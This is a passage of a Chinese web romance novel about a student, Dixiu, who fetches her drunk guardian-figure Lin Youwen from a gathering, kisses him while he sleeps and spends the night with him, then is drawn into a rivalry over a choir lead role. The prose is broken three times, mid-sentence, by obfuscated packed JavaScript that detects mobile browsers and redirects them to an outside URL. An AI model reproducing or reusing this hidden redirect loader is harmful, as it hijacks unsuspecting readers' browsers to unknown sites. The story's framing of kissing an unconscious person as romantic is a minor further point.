顾泽临越过这个话题,笛袖没什么好隐瞒,如实道:“在筹备校庆表演。” “你有节目?” “嗯。” “什么时候表演,我去给你捧场。” 笛袖忍俊不禁,“我请不了你这尊大佛,你有时间么?” “有。” 他说:“我很闲的,你找我随时都有空。” 笛袖不在意地弯了弯唇角,只当他是诙谐。托他姐姐的福,顾泽临在她面前没有摆过少爷架子,但有关他的风言风语听过不少,包括连他姐顾亦徐都吐槽过,知道是个凌厉高傲的主。 当然,他也有恃傲的资本。 人很快找到,经理这回报上正确的房号,并很上道地主动给笛袖引路。 临走前,笛袖才发现自己忘了什么,诚恳道:“谢谢,今晚麻烦你了。” 要没他的帮忙,自己肯定没那么容易能找到林有文。 顾泽临没接话。 他盯着渐远的背影,默然看了好一会儿。 直到某刻忍不住从身后叫住她,“你还留着我的联系方式么?” 闻声,笛袖停步转过身。 “还是原来那个,没换过。”顾泽临继续道。 笛袖印象中,他们曾经互加过好友,线上只聊过很少的几句话,而且那是发生在相当久以前的事了。 列表太久没联系的账号容易被清出去,不过笛袖没有定期清好友的习惯。 她嗯了声,“怎么了吗?” “没删就好。”顾泽临像是松了口气,他语气忽然变得很淡:“bye,再见。” · 四楼电梯左拐第三间,就是一干大学同学聚会的地点。 笛袖去到时看见门口立着三道人影,其中居右低垂头闭着眼的那位是林有文,他喝醉的样子特别好认,一碰酒精皮肤就敏感泛红,正是知道这样她才担心被灌酒的后果。他臂膀横越搭过左边男人的肩颈,对方定定站稳,用自己身体半搀半扶架住他,还有一个人手臂挂件上衣外套,站旁边候着。 “小姐,这里是您要找的包间。”经理尽责完成要求,低声道:“您说的那位客人已经找到了。” 一见有个女孩过来,身旁引路的穿着会所工作人员的制服,从板正笔挺的袖口、显眼领结上看,岗位级别不低,瞧着像是这里的主管或经理层。 “哲哲?” 扶着林有文的那人率先出声,他没见过笛袖,略带着疑惑问道。 乍然被一个素未谋面的人当面叫小名,笛袖感到有些怪异,她先察看下林有文的情况,他阖着眼,气息悠长灼热,领口往上外露的脖子连带蔓延到脸边缘微微发红,除了醉酒后昏睡外,没有其它异常。 笛袖暂时放下心,这时才看向林有文同学说:“我刚才去到别的楼层,你给我发的房号弄错了。” 这人将房间号开头“4”打成“6”,害她白兜了一圈。 闻言,林有文同学猛地一拍脑门,“我去,可能不小心手抖按错了。” “我忘了是用有文的手机给你发的消息,以为你到后会直接打给我,就没注意看他的。” 同学一脸对不住的表情,满含歉意道:“你打过来的时候,里面太吵了没听到。” “真不好意思啊。” 笛袖:“……” 这粗心眼的性格,也是没谁了。 要不是服务员进来询问,他们指不定还能忘到什么时候。 笛袖心底无奈,但事情已经发生过了,她无意再去责怪对方,暗叹一口气:“算了,没事。” “那接下来——”同学抬了下肩,示意靠在他身上意识不清醒的林有文,“后面的都交给你了?” 一旁经理无比上道,及时开口:“我们有可供 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826123|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用的贵宾休息室,如果您需要的话,可以安排卧房在这休息一晚。” 当然,这属于额外服务,不会出现在一般客人的消费清单里。经理虽然不清楚笛袖的身份,但乐于为她提供力所能及的便捷。 理由自然和顾泽临相关:职场晋升总会和一些细枝末节上的小事挂钩,他不会错漏每个潜在的表现机会。 笛袖并不想在外面留宿,当即做出选择,“我送他回家。” “行,这是他的车钥匙,钱包手机都装在外套口袋里。”另一个同学将手上挂着的外套和车钥匙一并交给她,关切问了句:“你会开车吗?要不要请代驾。” “我会。” 不用其他人帮忙,林有文两个同学人高马大,合力把他送上车。 林有文看似清瘦但实际上一点不轻,他是在战场上拼死生存下来的人,躯体训练有素,肌肉含量堪比士兵。俩人显然低估了他的身体重量,二拖一从楼下一路护送到车上,扣好副驾安全带,最后砰地关上车门,两个大男人愣是累得气喘吁吁。 江宁每年冬季都会下雪,入秋后气温开始节节往下降,夜晚霜寒露重,温差变化大。 他们热出身汗经风一吹,散了大半余热。 有个人嫌冷打着哆嗦先上楼回去了,剩下那个是原先和她通话的人。 笛袖背靠车门,这时才将心中那个疑问缓缓问出口——为什么他第一反应是联系自己? 男人听完噢一声,“你知道我们学校有个学生论坛不?” 笛袖点了点头。 学生论坛称得上东大特色之一,原因是它的来由非常奇葩。 东大计软学院计算机大佬云集,堪称各省市高考状元汇集地,他们脑回路清奇,为了脱单自主研发出一个网站并运行维护。 起初设计雏形是个恋爱交友平台,创建者为了促进学校单身男女认识,奔着谈恋爱的目的,通过算法匹配出高契合度情侣。 名字起得也很直白,MuchMoreLove,简称MML。 后来进入网站的学生越来越多,范围扩大,逐渐成为全校学生线上聚集点,随着人数增加,平台不断开发新的功能,延拓出寄存快递、专业书籍售购、物品交易等等板块。这是一个专属于东大校内的线上平台,往届生保留对母校的怀念情节,即使工作后,也经常会在里面实时活跃、更新动态。 他们无形中拓展了从校园步入职场的信息面,论坛发展成历届学长学姐变相的名企内推渠道,分享夏令营、学术交流、国内外竞赛各种多渠道信息。 从最简单的恋爱交友平台,到后面多功能论坛,“人际链条”开始拉通,东大领先国内其他院校的地方不止一星半点。结合校训宗旨,名称从MML随之改成MMI(MuchMoreIndividual,更加个性化)。 只改动了一个字母,性质和作用有了更丰富的变化。 MMI论坛没有脱离原本意图,它有个很重要的表白墙功能,也是日均浏览度最高的板块,领先第二高的“闲物交换”几十倍。 “那年毕业季,学校论坛表白墙发起一个征名活动,收集‘你心目中最重要的人’的名字。” “大概意思是,给学生时代最后的遗憾划上句号。”同学笑了笑道:“反正还剩几天就离校了,往后天南海北,未必有缘分能再碰上,大家平时不敢表露的念头都展现出来,很多人借机表白。”尽管毕业不久,他的语气感慨怅然,回想起大学时光恍若隔世。 “我们班上女生,哦不,应该是新闻系的女孩子们,而且还不止毕业那一届,好多都写了同一个人的名字。” “……” 笛袖敛眸,垂下睫羽小幅度颤了颤,不用猜都知道说得是谁。 “是他?” “对。”男人回答。 “但没想到的是,有文也参加了这个征集活动。” 感觉血液急速涌动,她愕然抬眸。 忍不住立刻追问下去:“然后呢。” “所有人都好奇他会写哪个女生的名字,最后被扒了出来——”男人目光别有深意地看着她,说道:“他只写了两个字。” -哲哲。 这是对他而言,最重要的人。 9. 预演9 之后再进门,从极静瞬间切换进极闹,心里更添层堵。 包间内男女不明为何顾泽临一言不发忽然起身出去,但以往经验告诉他们少问为妙。顾泽临近来心情不快是大伙一众皆知的事,尽管没人知道到底为何,今晚他出来散散心,坐在那有点儿懒散倦怠,一副兴致缺缺的样子,直到方才见他难得有了动静。 可没过多久,人又进来了,瞧着面色却隐约更差了些。 看不懂眼色的人打探通常没有好结果,比如—— “哥,你去哪了?”周家的小少爷问道。 顾泽临心烦意乱,越想越膈应得要命,正愁无处发泄,抬腿踹了发小弟弟一脚,“刚才怎么说话的?!” “我说什么了——” 周竟疼得闷哼一声,不明所以:“靠!干嘛踢我?” 顾泽临皮笑肉不笑,“因为你嘴贱。” “活该。” 旁座女伴吃味,附和:“见到好看的就撩,这臭毛病什么时候能改。” 周竟本就三分醉,借酒劲下小霸王脾气见长,明知是谁踹得,偏不服,下意识嘴硬顶句:“你管我?” “傻x,喝不死你。”顾泽临冷眼,轻轻说一句。 嫌屋里太吵,推开玻璃门到露台透气,夜里凉风习习,顾泽临心里反复念的同一个名字。 林、有、文。 ——呵,他能不认识么? 早知道是这人,顾泽临说什么都不可能多嘴问那一句。 他烦燥得很,更多是郁闷,帮喜欢的女孩捞情敌是怎么回事?? 偏偏这时候身后跟过来一个人,周竟闲逛般晃荡走出来,挺自来熟,还记得顺手把门带上。 见来人是他,顾泽临淡然瞥开视线,丝毫不觉得意外。 周竟就是个没心没肺的家伙,典型记吃不记打,刚被训完过会儿又能巴巴贴上来——性格再简单不过,属于嘴在前边怼脑子缀在后面追的类型,往平庸了说是没头脑,往差了说是缺心眼二世祖。 顾泽临不止一次庆幸过他没有这个傻弟弟,还好是别人家的。 周竟自顾自凑近挑了张长椅坐下,顾泽临不予理睬,他却是一副习以为常的样子,挠了挠头,方才那个不愉快的小过节早抛之脑后,嘴上呵呵笑道:“哥,你这次在国内呆多久了?” “怎么。” “没事,我就问问。” 顾泽临原本就没和他较真,从背对的姿态转过身,平静回道:“问这个做什么。” “了解你的近况呗。” “有三四个月吧。”顾泽临没细算,“反正不短,一时半会儿走不成。” 他说走不成,听在周竟耳朵里,约等于有事情绊住了,乐得嘿笑一声:“什么要紧的大事得你亲自办,说给我听听。” “……” 顾泽临声音略显冷淡,“关你什么事?” 周竟笑了笑,“我这不惦记着你还有学业吗,想知道你打算什么时候回英国啊。” “就你,还惦记学业。”顾泽临轻嗤。 “一个学期在学校出现不超过三次,上课次数少于十,不及格科目过半,通过的另一半要么找代考要么买试题答案。”他随口数落周竟干的破事,嘲道:“什么时候你换了脑子,不混日子改作好好学生了?” 同样在外留学,周竟追求行乐至极,将时间精力挥霍在吃喝玩乐上,专业知识一窍不通。 被刺两句,他红脸梗着脖子强调:“我爸妈从没指望过我学出成绩!打小我就不是读书料子,他们早看开了。” 心里有点不痛快,委屈道:“而且我刚是在问你,扯那些没用的干嘛。” “我待国内国外对你有区别吗?”顾泽临轻飘飘问一句。 “那当然有啊。” “你在这我就高兴。”周竟往后一躺,翘腿在躺椅上晒月光,懒洋洋晃着摇椅的模样,透着被骄纵长大生活奢逸养出的悠哉游哉,一张脸俊俏秀气,不够阳刚,“比见了我亲哥还高兴。” “他只会管着我——嘿!你都不知道,我前段时间手头紧缺,拿伦敦西区中心一套房子去抵押周转,就为这么件小事,他犯得着跟我叨半个月,简直比我妈还烦……” 周竟嘴碎抱怨起来没完没了,顾泽临觉得好笑,转头却见他不知从哪摸出烟点上。没抽两口,他皱眉不客气驱逐:“滚远点,我最讨厌吸二手烟。” 周竟不记得他什么时候多了这个毛病,但还是将才点起的黑万熄掉。 按烟头时,脸一侧透过玻璃围栏瞧见楼下人影。他眼睛一亮骨碌坐起,忽然趴在扶栏上。 “这不是刚才的美女吗?” 他兴致冲冲指着楼下,说哥你看,这是不是刚才那个女的。 顾泽临视线漫不经心一瞥,随即怔住。 从楼上看只能看到车外两个人,笛袖身前站着个陌生男人,一男一女面对面正说话。 周竟打量几眼,不屑撇撇嘴:“大美人就跟了个这样的?切,连我一根手指头都比不上。” 片刻功夫,男人没说几句就离开,仅留下女生停驻原地。 秋风萧瑟,吹动裙摆下女孩身段愈显单薄,她默然低头沉思,良久未动,仿佛怅然若失。 类似场景周竟见得太多,暗自神伤的模样怪招可怜,嘟囔着道:“怎么回事,这俩吵架闹分手了?” 转过头,却发现顾泽临压根没理他,人立在那,一眼不眨定定盯视下方女生。 周竟:“……?” 顾泽临深深呼吸。 那道竭力克制发出的声音,字字凿切: “不是他。” · · 送别林有文同学,笛袖坐在安静的车厢内久久无言。 她斜过脑袋,双臂枕住趴伏在方向盘,目光凝在身旁的林有文上。 就这么静静看了很久。 内心五味杂陈。 听到答案那一刻,一股凉意从身体深处升起。 心渐渐沉下去,重若千钧。 她难以想象,几年间自己错过了多少东西。 林有文脸侧向窗外,靠在车座枕垫边,呼吸深沉,胸腔有规律地轻微起伏,像是熟睡着了。 领口纽扣解开两颗松松扯开,仰起脖颈清晰凸出一块喉结,侧脸轮廓分明,笔挺鼻梁和线条硬朗的下颌骨半陷进阴影里。 酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826124|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精味于封闭车厢弥漫开。 她动了动鼻子,后知后觉忘记跟同学问他究竟喝了多少。 光从表象看,判断不出林有文的醉酒程度,是完全沉睡,还是仍保留一丝对外界的清醒意识。这点对她而言非常重要。 先是试探着,伸手解开他衬衫衣领半挂的领巾,慢条斯理叠好,整理时纤白手指不可避免触碰到颈部皮肤,蜻蜓点水般。 那丝若即若离的痒意并未唤醒林有文,笛袖心跳慢慢加快,不同于以往地羞涩,她即将要做一个格外大胆的举动。 ——趁人之危,在对方无法动弹不能感知的时候,完成卑鄙的念头。 人倾身探过去,将林有文的脸转过来,手撑在他左侧腿边,因为紧张,手指慢慢蜷缩成拳,关节攥得发白压在座垫上。 她直接亲了上去。 唇轻轻碰了一下,相触那刻方寸大乱到觉得自己在发疯,否则怎么会做出违背常理的举动?她强忍住退缩的念头,摒除杂念,可因为没有经验,再贴上去时变得莽撞不顾。 没收住力度,牙齿好像磕到了对方…… 有点疼。 但此刻想不了这么多,唇上的触碰停留于表,温暖熟悉的感觉渡过来,她轻轻吸着气,对于下一步是否进行,从原本的十分踌躇到下定决心。 改亲为吻,干燥变得湿润,鼻尖摩擦到他的鼻梁…… 不知过了多久,也是几秒,又或者是几分钟。 忽地,她察觉身前的人呼吸节奏蓦然变了。 笛袖怔住,看见不知何时缓缓睁开眼的林有文。 他定定看着自己,未作反应。 双唇切实贴合着,醉酒充血后微微发红,但眼底一片清明,倒映出她失神的面孔。 …… 那一刻,叶笛袖僵住,浑身如坠冰窖,几乎心跳骤停。 脑袋整个全是空白,静静对视着几秒。 但随之而来的,宛如救赎。 林有文任由她亲几秒,似终于回神,随后猛地反握住她的手腕。 一切发生得出乎意料!他抬手动作快,抓腕间力度紧,像掐住命运喉舌的铁锁,扼制所有不切实际的动机。 那一下把她痛得惊呼,“嗯!”气音却被严实堵在喉咙里,一声完整都发不出。林有文一醒来直接反制,瞬间前后颠倒,她被摁倒在座椅上狠狠亲。 整个人瞬间丢了魂。 本以为黯然熄灭的星火念想,重新点燃。 开始前根本没想到会变得这么激烈,像是强行压抑多年的情感终于迸发,酥麻感从尾椎骨蹿到头顶,一阵接着一阵。 亲太久腿开始发酸、腰也是,手臂也是,忍不住往下滑,坠落到不知哪里去,浓烈到让人慌张,承接不住想要躲开。 她错开脸,“等,等等——” 但林有文搂住腰将她提起来,手托在后颈处,扶稳,继续。 …… 最后被酒意沾得微醺的是她,瘫在他肩膀上喘气。林有文同样沉沉呼吸,鼻息扑满她耳沿,灼热滚烫,在她耳边低声:“别躲我。” “……” 笛袖的目光落在对方深邃眼睛,说不出话来。 10. 预演10 次日中午,公寓厨房内。 笛袖穿着宽大、明显不符合身形的男性T恤,在灶台前煮青菜瘦肉粥。 滚沸的粥咕噜噜冒气泡,热气腾腾。 衬衫长度才及大腿中段,垂着的衣摆下是白到晃眼的一双腿。为了方便做饭,笛袖将头发简单盘成低丸子头,手拿汤勺舀粥拌匀免得糊底。 她既然有独居的能力,会做饭自然是最简单基础的技能。以往笛袖一个人住,每顿饭吃不了多少,做完一趟收拾厨房碗碟要花更长时间,所以她搬进新家后,嫌麻烦没下过几次厨。 但其实她厨艺相当不错,只用半小时随手做好三道菜,两素一荤,将碗碟筷子摆到餐桌上。 考虑到林有文昨晚喝太多酒,起来可能没什么胃口,她着手又做了道清淡可口的青菜粥。 等下的切片瘦肉滚熟,就能吃午饭了。 她听到身后传来渐近脚步声,却没回头,将熟透的粥关火放凉,轻声问:“醒了?” 林有文神情无比复杂。 他对昨晚最后的记忆,是两人糊里糊涂地滚上了一张床。 酒精无限放大欲望,距离失控只差一个诱因,而他们昨晚……起来看到凌乱床铺,脑袋轰得响彻一声,毫不夸张地说完全懵了。 笛袖面不改色,实则余光观望着他。 表情虽然称不上糟糕,但眉头紧起的样子十分凝重。 这不是一个好信号。 头还隐隐作疼,是宿醉留下的后遗症,林有文记不太清楚,急于从另一个当事人那得到确认。 “昨晚——” 话到嘴边停住,竟感觉说不下去。 太荒唐了。 可最后还是问出了口:“我们有过吗?” 她沉默片刻,道:“是我主动的,你不用——” 笛袖想说你不用抱有任何负担,喜欢谁是她一个人的事,做什么也是她的主见,任何行为都会为此承担后果,不论好坏。 成年男女发生一夜情太正常,更何况,她对他的心思本就不纯粹。 林有文神情更凝重几分。 “不用说了。” 笛袖细看他的表情,万幸,没在他脸上看到一点失落或懊悔的样子。 她双臂抱胸,手心托着肘弯摩挲。这是紧张时快速思考的无意识动作,他了解她的小习惯,没错过这个细节,表面再装镇定此刻也暴露无遗。 “昨晚感觉怎么样?”林有文主动上前握住她的手,软软牵着,“身体会难受吗?” “……你喝醉了。” “嗯,所以怕控制不住轻重。”林有文道。 他温声哄了一会儿,笛袖终于松下心防,额头轻抵在他肩头,小声说:“开始节奏太快了,弄得有点痛……我不喜欢这样,到了后面慢慢才好起来。”声音越说越低,他听着。 “这也是我做得?” 林有文低头,拇指轻抚摸过她通红的手腕,上面依稀留着指印,“疼不疼。” 笛袖有点不敢面对他,摇了摇头。 她缓缓抽出手:“醒来喝点粥吧,我给你做好了。” 午饭后,她的衣服差不多烘干,下午还有课,笛袖换上衣服便先回学校了。 林有文没留她。 情绪上头时做出的举动,都会留给冷静时的自己承担冲动的结果。 他需要些时间来消化这件事。 同样地,笛袖心底也希望他不要开口,至少不要是现在。 那天晚上喝醉的是林有文,笛袖却是完全清醒,她的主动显得有些不可思议。 稍加思考下,都会发现她是故意的,明知这行为会打乱对方的计划,还是引着他一步步走下去。 以往笛袖不是没试过循序渐近,过去几年,林有文始终和她保持距离,尤其当她步入成年,界限感更加分明。 聚少离多,如果她不撕破那层窗户纸,永远没有更进一步的可能。 这份喜欢从暗地搬到台面上耗费太长时间,该做的她都已经做了,结局要么接受要么拒绝。 最近短时间内,笛袖不打算和林有文联系。 她等得够久了,不在乎再多等几天,留给林有文思考的时间,最后换取他的一个交代。 · · 进了十一月,江宁气温一夜骤降。 早晨笛袖穿着睡衣在阳台浇花,被冷风一灌打了个寒噤,于是出门前,特意在平时打底长袖外多加一件连帽外套。 但她没想到,今天冷不防受惊的正头事还在后面。 周三下午彩排时间照例一点开始,因为孟若对迟到深恶痛绝,学生们一般都会提前半小时到,或者干脆下课吃完午饭后直接过来。 笛袖属于后者,她到礼堂的时候不算早,先前来的女生们已经凑成一堆聚起来热烈讨论八卦,瞧那振奋投入的态度语气,不知道地还以为在商谈国家大事。 她走到梳妆台一排镜子前,挑个空位坐下,开始化舞台妆。 身后便是女生堆,坐得距离不远,外加她们声音不低,任是笛袖没刻意去听,讨论内容也一句接一句往耳朵里面钻。 “好久都没看到她来排练……” “对啊,前些天请假说是身体不舒服,一直来不了。” “她生什么病,大半个月还没好?” “不知道啊。” “你们不会真信了吧?”有人嗤地一笑,“那理由也就是编来应付下孟若,你没看大小姐朋友圈吗?人早飞夏威夷看海去了。” “真的假的?” “喏,你自己看这九宫格图加定位,瓦胡岛、云海公路、Waikiki海滩,哪还能有错。” 正纳闷说的是谁,随后笛袖便听到解答。 “付潇潇什么时候旅游不行,非要挑这个节骨眼?”另一道女声轻声抱怨:“我们累死累活准备校庆,她在外面过得倒潇洒,有没有责任心啊……” “她过得能不快活嘛。”先前把朋友圈内容分享出来的那女生搭腔,透露出更多小料:“上月大小姐又新谈了个男朋友,最近正恩爱得意着呢,那男的对她好得不得了,名牌首饰衣包样样都送,还专程到夏威夷度假,她一心顾着陪同男朋友,哪里有功夫管排练?” “……” 女生们闻言相视,唏嘘一片。 “是不是啊,佳妮?” 坐在角落一声不吭,充当背景板的简佳妮忽然被提及,愣住片刻,那女生径直问她:“她的情况在座你最清楚,这些日子付潇潇是不是都不在学校?” 女生们眼光瞬间齐齐看过来,简佳妮嘴唇嗡动,声音低不可闻,好半天才憋出一句:“我,我不清楚。” “怎么可能?” 问话的女生挑眉,“你俩不是宿友吗,而且明明——” 简佳妮啜喏开口,恰好打断道:“我们平时不说话,一般回宿舍都是各自做各自的,她很注重隐私,不喜欢和别人讲自己的私事。” 这话倒也有几分可信。 付潇潇别名“大小姐”,意思是她的脾气大到和千金小姐一样难伺候。 付潇潇习惯了众星捧月的待遇。她从小漂亮到大,早在初中便凭借样貌在市里出名,之后毫无疑问走了艺考这条路。尽管校内没公开评选过校花校草,她也是大家心目公认的艺术学院表演系最有牌面的女神级人物。 付潇潇和简佳妮两人天差地别,一个张扬显眼,高如云端,一个默默无闻,渺若尘埃,竟然是这样一对从性情到外表反差如此大的两人成了宿友。 依大小姐的高傲性子,撞上这么一个闷葫芦,只怕正眼看人都难。 上完底妆,粉底要在脸上晾几分钟干透再扑散粉,等待间隙,笛袖打开一盒糖果,挑了颗山楂味的水果糖,手指剥开透明塑料纸,放进嘴里。 淡淡的水果香气四溢,那种轻微、又酸又甜的味道勾得最近的女生鼻子动了下,转头看过来。 “你在吃什么呀。” 笛袖抬头回看她,嘴里吃着糖,咬字略微含糊:“水果糖,要吗?” 女生点点头。 这一打岔,其余人声音慢慢停下来。 众人这才发现窝在边上的笛袖,她进来时正好讨论到最精彩的地方,一群人险些忽略掉她。 笛袖分了一圈糖果,顺理成章地融入进来,坐在位置上继续听她们讲各种五花八门的绯闻八卦。 有人提到付潇潇男朋友是个年轻富二代,之前有次女生宿舍楼门口停了一辆法拉利,她从车上迤迤然下来,开车的男生顶多二十来岁。 那男的一共出现过三次,就换了三台车,每次和换衣服一样换着不同豪车开。 有钱就算了,关键是人还长得俊帅,外形气质显眼,惹得路过女生走百步回头看五十步。 说到这,有个女生联想起什么,欸了声:“笛袖,她们说在校外遇见过你和你男朋友看电影,有没有这回事?” 笛袖刚要澄清关系,凌毓举起手说:“对啊,我亲眼看见了。” 其余几个人跟着附和。 “……” “听说你男朋友也很不错噢。”她笑笑道:“你和付潇潇性格真不一样。连谈恋爱也是一个高调一个低调,她恨不得让所有人都知道自己找了个多金男友。” “哈哈哈,要是我谈了个有钱又帅的男朋友,我也会拿出来显摆啊。” “不过话说回来,”凌毓仔细看了看笛袖的脸,道:“我一直觉得你比付潇潇漂亮多了。” 笛袖微微笑着:“是吗?” “虽然你们都很好看,但论私心,我还是更喜欢你~”她黏糊地抱着笛袖手臂晃了晃。 于是女生们接下来对比起这两人谁颜值更高,论五官标致,当属付潇潇更胜,她长了张教科书式的艺考脸,硬要挑毛病就和鸡蛋里挑骨头差不多,笛袖清柔胜在气质,五官挑出来未必都是顶尖,组合在一起就很有韵味美感,尤其是眼睛。 两人风格类型不同,本没有什么好比较。但议论声音却往一边倒,比起爱出风头的付潇潇,笛袖显得“平易近人”多了。 换言之,更讨她们的喜。 笛袖始终笑而不语。 ——她们夸赞自己性格比付潇潇好,踩一捧一,但要是换作付潇潇在这,听到的会是截然相反的回答吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826125|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' . . 一点左右,离彩排开始还剩几分钟。礼堂后台的候场室终于出现付潇潇的身影。 大小姐姗姗来迟,穿着一套墨蓝束腰裙子,衣服正面中间一线金色排扣从领口沿到裙摆,及膝的白色皮靴踩在地面,再触及那张巴掌大的脸蛋,标准的三庭五眼,典型贵气周正的美人相。 她曲着左膝,重心放在身体另一侧,半坐半靠在化妆台面边缘。 旁边围着七八个女生,都在笑着聊天说话。 付潇潇抬手拢了下深棕色长发,别到耳朵后面,顺便带过三圈并排碎钻的小巧白金耳环,成功吸引到目光的同时,不着痕迹地将女孩们的注意力转到腕间佩戴的那块全新名贵女表上。 如果说,凌毓和笛袖单纯是玩得好凑在一块,那么付潇潇无疑是女生群体的中心,身形高挑、姿态娉婷,她不在时就是制造话题的源头,一出现,更是直接占据了所有人视线的焦点。 付潇潇倚在桌边,周围一帮人簇拥着,无论她在做什么,漫不经心拨拢头发,或者无聊端详新做的指甲,偶然真心逗笑,都不会在其中有任何突兀,因为这氛围完全由她挑起来。 ——优越感体现得淋漓尽致。 也许并非付潇潇有意为之,但很显然的一点是,她享受在人群中被关注、特别对待已经不是一次两次,早已习以为常,以至于无形中养成些许怠慢、疏懒的盛气。 笛袖远远看着,心想:“大小姐”这个绰号起得可太适合她了。 · 付潇潇是合唱节目的女生领唱。她没来的大半个月里,歌曲节目的领唱位置一直缺席。 对于这一现象,合唱团女生们早颇有微词,和孟若老师反映过几次,但考虑到付潇潇是生病了又不是罢演,孟若没有答应换人的要求。 然而这颗雷埋下后,迟早会成为隐患,在某一刻爆发。 轮到演唱歌曲时,学生们照例按以往的先后顺序排着队,从阶梯两侧走向舞台。 领唱因为站位在前方,上场次序在队伍最后。 等人快上完时,孟若忽然毫无预兆地开口,看向队伍后方的女孩,指名道姓:“付潇潇,你就站那儿不用上台了。” 付潇潇一怔,“我?” “嗯,你不是喜欢装病吗。” “有时间出去旅游,没时间排练,在场所有人只有你一个搞特殊。”孟若不知在何时从何处得到实情,“既然不重视校庆,这个节目也不需要你当领唱。” 孟若眼里容不得沙子,最讨厌学生弄虚作假,付潇潇刚要出声,她口吻生硬打断:“不用和我解释,你做了什么自己清楚。你的参演名额已经被取消!” “不仅这次不用上台,付潇潇,你以后都不用来了。” “……” 付潇潇脸色渐渐沉下去。 当着大庭广众的面,孟若的话不亚于往她脸上狠狠甩了几记耳光,火辣辣地疼。 但让她更恼火的是,孟若信誓旦旦的样子肯定有人背后告密,付潇潇用脚后跟都想得到又是谁嚼舌根,冷眼看完整场没有她的合唱演出,待结束后,第一时间过来和孟若理论。 “孟老师,你的话什么意思?” “节目领唱一直是我,从初选赛开始就定下的,怎么可以说换就换。” “付潇潇,注意你的态度问题。” 孟若紧蹙起眉,不悦道:“你是在质问老师吗?” 付潇潇放缓语气,认错态度一流:“对不起,我是太着急了。” “现在着急,早干嘛去了。”孟若不冷不淡,“你在海边吹海风的时候,就该想到会有这结果。” “可练习这么多次又没有意义。” 付潇潇不觉得哪里做错,“每周排练两回,这些我早都会,练一百遍和一千遍有什么区别,我总不能把时间都浪费在无效的事情上。” 然而任付潇潇怎么讲,孟若都是一副没有商量余地的态度。 付潇潇觉得她油盐不进,硬得和块石头一样,索性也不装了。 说白了,校庆再要紧也顶不过天去,孟若是看重,可它的重要性在付潇潇心目中前十都排不进。 “孟老师,你要是对我不满意,这点我认了。但还有不到两周就到校庆日,你把我撤了,换谁?” 她笃定孟若短时间内找不到更好的人选。 孟若一眼看穿付潇潇的小把戏,冷笑:“你别以为我换不了其它人。你不想上,领唱这个位置多得是人乐意当!” 笛袖经过过道时被叫住。 转过身,听见孟若朝她喊话:“笛袖,你过来,愿不愿意帮老师一个忙?” 虽然不知道孟若接下要干什么,但她觑见一旁付潇潇脸色不太好的模样,想来不是件容易事。 笛袖深思一刻,慎重点头。 “可以。” “好,你就是新的领唱了。”孟若拍板道。 笛袖:……? 付潇潇:??? 有句话怎么说来着—— 城门失火,殃及池鱼。 付潇潇眯起眼睛,打量笛袖上下,“凭她?” 11. 预演11 孟若确有此意。 不管付潇潇抱有什么异议,既然有言在先,让笛袖代替付潇潇的领唱位置,那可不是说出来开玩笑的。 对于这个决策,笛袖一头雾水。 付潇潇满脸不愉。 而当下次排练时,合唱团的男女生更是直接懵住了,恍惚间看见笛袖站上属于女领唱的合唱台,怀疑对方是不是午后犯困记错节目顺序,再看笛袖手上没拿小提琴,更有猜测她是不是没睡醒。 指挥眼神频频示意她快下去,笛袖硬着头皮装作视而不见。 付潇潇掐着点过来,时间卡得刚刚好。孟若不给她上台,她便坐在台下观看。 “你来这干嘛。”孟若没好气地说道:“这没你的位置。” “我来旁观不行吗。”付潇潇以理所应当的语气:“随便进来坐坐,礼堂又不是私人场所。” 付潇潇坐在观众席,双手抱臂负于胸前,下巴微仰,往舞台上看,眼神可不是欣赏,只差把“找茬”两字刻脑门上。偏偏她又没做什么,孟若不好发难,只当作没看到这个糟心的学生。 音乐声就位,站在最前方的指挥虽然不明白为什么笛袖还在台上,但看到孟若没有阻止,想来是合理的,于是按着节奏指挥节拍。 小时候笛袖在合唱队练过女中音,但那是将近十年前的事,发声训练早已忘到脑后。她唱得如何不要紧,孟若认为领唱更多起到一个装饰团队的作用。 就像花瓶,只要好看、形象端庄、摆得上台面就行了,至于唱得好不好嘛……麦可风往后移,后面还有一水的学生合音呢。 笛袖觉得这简直儿戏,她被付潇潇若有若无的目光看得烦了,以及顶着身后学生们时不时望过来不解疑惑的眼神,立如针毡。 直到某一刻,她放弃道:“老师,我不适合当领唱。” “你还是换其他人吧。” 一个两个都不配合,孟若脸色难看。付潇潇扑哧笑出声,乐了。 孟若气得回瞪她一眼。 笛袖爱莫能助,这个忙她帮不了,更不想搅进孟若和付潇潇的纠纷中。 这场闹剧更多的是孟若和付潇潇在赌气,她非得折一折付潇潇身上那股傲气,让这个不受管束的学生知道什么是应守的规矩。 